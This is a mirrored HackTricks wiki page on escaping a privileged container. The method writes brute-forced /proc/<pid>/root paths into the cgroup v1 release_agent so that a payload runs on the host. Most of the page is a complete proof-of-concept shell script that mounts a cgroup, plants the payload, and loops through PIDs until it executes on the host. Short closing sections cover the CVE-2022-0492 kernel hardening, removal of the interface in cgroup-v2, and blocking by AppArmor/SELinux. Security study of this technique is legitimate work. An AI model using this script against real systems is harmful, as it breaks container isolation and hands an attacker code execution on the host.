mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
101 lines
5.1 KiB
Markdown
101 lines
5.1 KiB
Markdown
# Release Agent Exploit: Relative Paths to PIDs
|
||
|
||
{{#include ../../../../banners/hacktricks-training.md}}
|
||
|
||
For further details **check the blog post from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary:
|
||
|
||
The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings.
|
||
|
||
Key steps:
|
||
|
||
1. **Locating Process IDs (PIDs):** Using the `/proc/<pid>/root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host.
|
||
2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc/<pid>/root/<file>`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container.
|
||
3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file.
|
||
|
||
### Exploitation Process
|
||
|
||
The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds:
|
||
|
||
1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation.
|
||
2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable.
|
||
3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released.
|
||
4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`.
|
||
5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution.
|
||
|
||
PoC from the blog post:
|
||
|
||
```bash
|
||
#!/bin/sh
|
||
|
||
OUTPUT_DIR="/"
|
||
MAX_PID=65535
|
||
CGROUP_NAME="xyx"
|
||
CGROUP_MOUNT="/tmp/cgrp"
|
||
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
|
||
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
|
||
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
|
||
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
|
||
|
||
# Run a process for which we can search for (not needed in reality, but nice to have)
|
||
sleep 10000 &
|
||
|
||
# Prepare the payload script to execute on the host
|
||
cat > ${PAYLOAD_PATH} << __EOF__
|
||
#!/bin/sh
|
||
|
||
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
|
||
|
||
# Commands to run on the host<
|
||
ps -eaf > \${OUTPATH} 2>&1
|
||
__EOF__
|
||
|
||
# Make the payload script executable
|
||
chmod a+x ${PAYLOAD_PATH}
|
||
|
||
# Set up the cgroup mount using the memory resource cgroup controller
|
||
mkdir ${CGROUP_MOUNT}
|
||
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
|
||
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
|
||
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
|
||
|
||
# Brute force the host pid until the output path is created, or we run out of guesses
|
||
TPID=1
|
||
while [ ! -f ${OUTPUT_PATH} ]
|
||
do
|
||
if [ $((${TPID} % 100)) -eq 0 ]
|
||
then
|
||
echo "Checking pid ${TPID}"
|
||
if [ ${TPID} -gt ${MAX_PID} ]
|
||
then
|
||
echo "Exiting at ${MAX_PID} :-("
|
||
exit 1
|
||
fi
|
||
fi
|
||
# Set the release_agent path to the guessed pid
|
||
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
||
# Trigger execution of the release_agent
|
||
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
||
TPID=$((${TPID} + 1))
|
||
done
|
||
|
||
# Wait for and cat the output
|
||
sleep 1
|
||
echo "Done! Output:"
|
||
cat ${OUTPUT_PATH}
|
||
```
|
||
|
||
## Kernel hardening since 2022 (CVE-2022-0492)
|
||
|
||
From Linux 5.10.93/5.15.17/5.16.2 onward the kernel **requires `CAP_SYS_ADMIN` in the _initial_ user-namespace to write `release_agent`**. A *privileged* container still has that capability, so this relative-path variant remains exploitable. *Unprivileged* containers on patched kernels, however, will not bypass the new check.
|
||
|
||
## Limitations on modern hosts (2025)
|
||
|
||
* **cgroup-v2** (the default in Fedora 40, Ubuntu 24.10 and most systemd-256+ distros) **removed the whole `release_agent` interface** – the technique simply does not exist there.
|
||
* On hybrid systems (`cgroup_no_v1="memory"` etc.) the memory controller may reside in v1 while others are in v2; if the memory hierarchy is v2 **the exploit must mount some other v1 controller** (e.g. `rdma`) to work.
|
||
* Mandatory Access Control profiles (AppArmor/SELinux) that disallow `mount` or make `/sys/fs/cgroup/**/release_agent` read-only will block the attack even in privileged containers.
|
||
|
||
{{#include ../../../../banners/hacktricks-training.md}}
|
||
|
||
|
||
|